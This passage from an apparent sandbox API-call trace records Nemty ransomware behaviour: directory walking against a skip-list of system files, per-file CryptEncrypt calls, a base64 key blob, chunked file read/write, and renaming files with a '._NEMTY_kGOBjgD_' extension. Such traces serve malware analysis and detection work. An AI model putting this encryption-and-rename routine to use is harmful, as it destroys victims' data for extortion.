lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.298] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.298] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.298] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.298] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94228, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0100.298] CloseHandle (hObject=0xffffffff) returned 0 [0100.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94398 [0100.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0100.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0100.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0100.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0100.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340048 [0100.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0100.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0100.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.299] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Journal\\en-US\\jnwmon.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\jnwmon.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Journal\\en-US\\jnwmon.dll.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows journal\\en-us\\jnwmon.dll.mui._nemty_kgobjgd_")) returned 0 [0100.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0100.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94398 | out: hHeap=0x4f90000) returned 1 [0100.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0100.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0100.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0100.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0100.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b0 | out: hHeap=0x4f90000) returned 1 [0100.299] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="Journal.exe.mui", cAlternateFileName="")) returned 1 [0100.299] lstrcmpiW (lpString1="Journal.exe.mui", lpString2=".") returned 1 [0100.299] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="..") returned 1 [0100.299] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="...") returned 1 [0100.299] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="windows") returned -1 [0100.299] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0100.299] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="rsa") returned -1 [0100.299] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="NTDETECT.COM") returned -1 [0100.299] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="ntldr") returned -1 [0100.299] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="MSDOS.SYS") returned -1 [0100.299] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="IO.SYS") returned 1 [0100.299] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="boot.ini") returned 1 [0100.299] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="boot.ini") returned 1 [0100.300] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0100.300] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="ntuser.dat") returned -1 [0100.300] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="desktop.ini") returned 1 [0100.300] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="CONFIG.SYS") returned 1 [0100.300] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="RECYCLER") returned -1 [0100.300] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="BOOTSECT.BAK") returned 1 [0100.300] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="bootmgr") returned 1 [0100.300] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="programdata") returned -1 [0100.300] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="appdata") returned 1 [0100.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Journal.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0100.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Journal.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Journal.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0100.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Journal.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0100.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Journal.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Journal.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0100.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Journal.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0100.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Journal.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f2a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Journal.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0100.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Journal.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0100.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Journal.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f2d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Journal.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0100.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941b0 [0100.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94138 | out: hHeap=0x4f90000) returned 1 [0100.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94138 [0100.300] Sleep (dwMilliseconds=0x5) [0100.306] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xef6f0df0, dwHighDateTime=0x1d561e7)) [0100.306] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xef6f0df0, dwHighDateTime=0x1d561e7)) [0100.306] GetLastError () returned 0x5 [0100.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0100.306] GetLastError () returned 0x5 [0100.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0100.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.306] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0100.306] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0100.306] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0100.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94228 [0100.306] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94228, pcchString=0x653ef9c | out: pszString="qhsIOcWXCDTHNzF/sjfS2CQWaceAE5lTp3jzN2rq2QAlLrWqBJTkCn5GrrcbJZ6Q\r\nXyHT01nrv3NMT+mme3o2Qra58GN+nvQvYH+toma6l82U938iOtVjLXHCW6f4m1RC\r\npcvZE6RVPiNgazD+TSC666fZQdd0SIVoRFgoutNz36WmZ4T2y6iz4ZuzBVULgYyE\r\nWjYGIoSI++Pnhd6DQ7kV1/QlDqLVXJweQpXX8ppuSLGChmQfG2CgKO1Mvt7iQe4t\r\nZZO6QtzPcybtC/GXK8xRfzFOz2cSnc39A+mHf2q1vYO6WPINR8dnHfIsbzc+P4JR\r\nUWNw5Mikb/W2FR4UEK0dyw==\r\n", pcchString=0x653ef9c) returned 1 [0100.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0100.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0100.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0100.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94228 [0100.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0100.307] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui" (normalized: "c:\\program files\\windows journal\\en-us\\journal.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0100.307] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0100.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0100.307] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.307] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.316] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.316] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.316] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.316] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.326] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.326] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.335] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.335] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.335] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.335] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.345] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.345] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.355] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.355] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.364] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.364] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.375] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.375] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.375] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.384] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.384] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.384] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.384] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.393] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.393] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.403] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.403] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.403] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.403] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.409] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.409] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.415] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.415] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94228, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0100.415] CloseHandle (hObject=0xffffffff) returned 0 [0100.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94398 [0100.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0100.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0100.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0100.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340048 [0100.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0100.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0100.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0100.415] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui" (normalized: "c:\\program files\\windows journal\\en-us\\journal.exe.mui"), lpNewFileName="C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows journal\\en-us\\journal.exe.mui._nemty_kgobjgd_")) returned 0 [0100.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0100.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94398 | out: hHeap=0x4f90000) returned 1 [0100.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0100.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0100.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0100.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0100.416] HeapFree (in: hHeap=0x4f90000, 